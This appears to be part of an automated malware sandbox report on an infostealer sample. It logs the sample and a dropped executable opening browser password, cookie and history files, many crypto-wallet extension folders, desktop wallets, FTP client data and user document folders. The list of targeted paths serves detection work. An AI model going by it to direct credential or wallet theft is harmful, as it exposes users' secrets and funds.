Source: file.exe, 00000004.00000003.1371791078.00000000014E9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: %localappdata%\Coinomi\Coinomi\wallets
Source: file.exe, 00000004.00000003.1371791078.00000000014E9000.00000004.00000020.00020000.00000000.sdmp String found in binary or memory: keystore
Tries to harvest and steal browser information (history, passwords, etc)
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hpglfhgfnhbgpjdenjgmdgoeiappafln Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeachknmefphepccionboohckonoeemg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dngmlblcodfobpdpecaadgfbcggfjfnm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lgmpcpglpngdoalbgeoldeajfclnhafa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\flpiciilemghbmfalicajoolhkkenfe Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlbmnnijcnlegkjjpcfjclmcfggfefdm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejjladinnckdgjemekebdpeokbikhfci Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ffnbelfdoeiohenkjibnmadjiehjhajb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fijngjgcjhjmmpcmkeiomlglpeiijkld Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lkcjlnjfpbikmcmbachjpdbijejflpcm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nhnkbkgjikgcigadomkphalanndcapjk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fnjhmkhhmkbjkkabndcnnogagogbneec Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\formhistory.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ijmpgkjfkbfhoebgogflfebnmejmfbm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\prefs.js Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnmamaachppnkjgnildpdmkaakejnhae Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhmfendgdocmcbmfikdcogofphimnkno Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\egjidjbpglichdcondbcbdnbeeppgdph Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\anokgmphncpekkhclmingpimjmcooifb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\efbglgofoippbgcjepnhiblaibcnclgk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data For Account Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ejbalbakoplchlghecdalmeeeajnimhm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cpojfbodiccabbabgimdeohkkpjfpbnf Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kjmoohlgokccodicjjfebfomlbljgfhk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hdokiejnpimakedhajhdlcegeplioahd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\acmacodkjbdgmoleebolmdjonilkdbch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mmmjbcfofconkannjonfmjjajpllddbg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aiifbnbfobpmeekipheeijimdpnlpgpp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aholpfdialjgjfhomihkjbmgjidlcdno Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kncchdigobghenbbaddojjnnaogfppfj Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\klnaejjgbibmhlephnhpmaofohgkpgkd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cihmoadaighcejopammfbmddcmdekcje Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mopnmbcafieddcagagdcbnhejhlodfdd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jojhfeoedkpkglbfimdfabpdfjaoolaf Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aeblfdkhhhdcdjpifhhbdiojplfjncoa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bhhhlbepdkbapadjdnnojkbgioiodbic Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\History Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cphhlgmgameodnhkjdmkpanlelnlohao Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dmkamcknogkgcdfhhbddcghachkejeap Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dlcobpjiigpikoobohmabehhmhfoodbb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\infeboajgfhgbjpjbeppbkgnabfdkdaf Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\dkdedlpgdmmkkfjabffeganieamfklkm Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ookjlbkiijinhpmnjffcofjonbfbgaoc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nngceckbapebfimnlniiiahkandclblb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\pioclpoplcdbaefihamjohnefbikjilc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kkpllkodjeloidieedojogacfhpaihoh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ibnejdfjmmkpcnlpebklmnkoeoihofec Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ppbibelpcjmhbdihakflkdcoccbgbkpo Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cert9.db Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ojggmchlghnjlapmfbnjholfjkiidbch Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kppfdiipphfccemcignhifpjkapfbihd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jiidiaalihmmhddjgbnbgdfflelocpak Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Web Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hcflpincpppdclinealmandijcmnkbgn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fhbohimaelbohpjbbldcngcnapndodjp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkbihfbeogaeaoehlefnkodbefgpgknn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\kpfopkelmapcoipemfendmdcghnegimn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\cookies.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hnfanknocfeofbddgcijnmhnfnkdnaad Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bfnaelmomeimhlpmgjnjophhpkkoljpa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\blnieiiffboillknjnepogjhkgnoapac Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\ocjdpmoallmgmjbbogfiiaofphbjgchh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mkpegjkblkkefacfnmkajcjmabijhclg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fihkakfobkmkjojpchpfgcmhfjnmnfpi Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onofpnbbkehpmmoabgpcpmigafmmnjh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nlgbhdfgdhgbiamfdfmbikcdghidoadd Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\afbcbjpbpfadlkmhmclhkeeodmamcflc Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cjelfplplebdjjenllpjcblmjkfcffne Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\logins.json Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nknhiehlklippafakaeklbeglecifhad Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\places.sqlite Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\ilgcnhelpchnceeipipijaljkblbcob Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\opcgpfmipidbgpenhmajoajpbobppdil Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nanjmdknhkinifnkgdcggcfnhdaammmj Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\amkmjjmmflddogmhpjloimipbofnfjih Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mcohilncbfahbmgdjkbpemcciiolgcge Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jgaaimajipbpdogpdglhaphldakikgef Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jnlgamecbpmbajjfhmmmlhejkemejdma Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Network\Cookies Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\oeljdldpnmdbchonielidgobddfffla Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\imloifkgjagghnncjkhggdhalmcnfklk Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\phkbamefinggmakgklpkljjmgibohnba Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Mozilla\Firefox\Profiles\fu7wner3.default-release\key4.db Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\bcopgchhojmggmffilplmbdicgaihlkp Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\hifafgmccdpekplomjjkcfgodnhcellj Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\gaedmjdfmmahhbjefcbgaolhhanlaolb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\nkddgncdjgjfcddamfgcmfnlhccnimig Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Login Data Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\cnncmdhjacpkmjmkcafchppbnpnhdmon Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\jbdaocneiiinmjbjlgalhcelgbejmnid Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lpfcbjknijpeeillifnkikgncikgfhdo Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\aflkmfhebedbjioipglgcbcmnbpgliof Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\lodccjjbdhfakaekdiahmedfbieldgik Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\heefohaffomkkkphnlpohglngmbcclhi Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Sync Extension Settings\bhghoamapcdpbohphigoooaddinpkbai Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\mnfifefkajgofkcjkemidiaecocnkjeh Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\fcfcfllfndlomdhbehjjcoimbgofdncg Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\onhogfjeacnfoofkfgppdlbmlmnplgbn Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\loinekcabhlmhjjbocijdoimmejangoa Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Google\Chrome\User Data\Default\Local Extension Settings\idnnbdplmphpflfnlkomgpfbpcgelopg Jump to behavior
Tries to harvest and steal ftp login credentials
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\FTPbox Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\SmartFTP\Client 2.0\Favorites Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\FTPRush Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Conceptworld\Notezilla Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\FTPGetter Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\FTPInfo Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\ProgramData\SiteDesigner\3D-FTP Jump to behavior
Tries to steal Crypto Currency Wallets
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\Desktop\file.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Exodus\exodus.wallet Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Ledger Live Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\atomic\Local Storage\leveldb Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Local\Coinomi\Coinomi\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Bitcoin\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Binance Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\com.liberty.jaxx\IndexedDB Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Electrum\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Electrum-LTC\wallets Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1002931001\44f3ff7773.exe File opened: C:\Users\user\AppData\Roaming\Guarda\IndexedDB Jump to behavior
Searches for user specific document files
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BUFZSQPCOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DUKNXICOZT Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\VWDFPKGDUF Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BUFZSQPCOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\DQOFHVHTMG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LFOPODGVOH Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LIJDSFKJZG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\LIJDSFKJZG Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\PWZOQIFCAN Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\WSHEJMDVQC Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\GLTYDMDUST Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents Jump to behavior
Source: C:\Users\user\Desktop\file.exe Directory queried: C:\Users\user\Documents\BUFZSQPCOH Jump to behavior
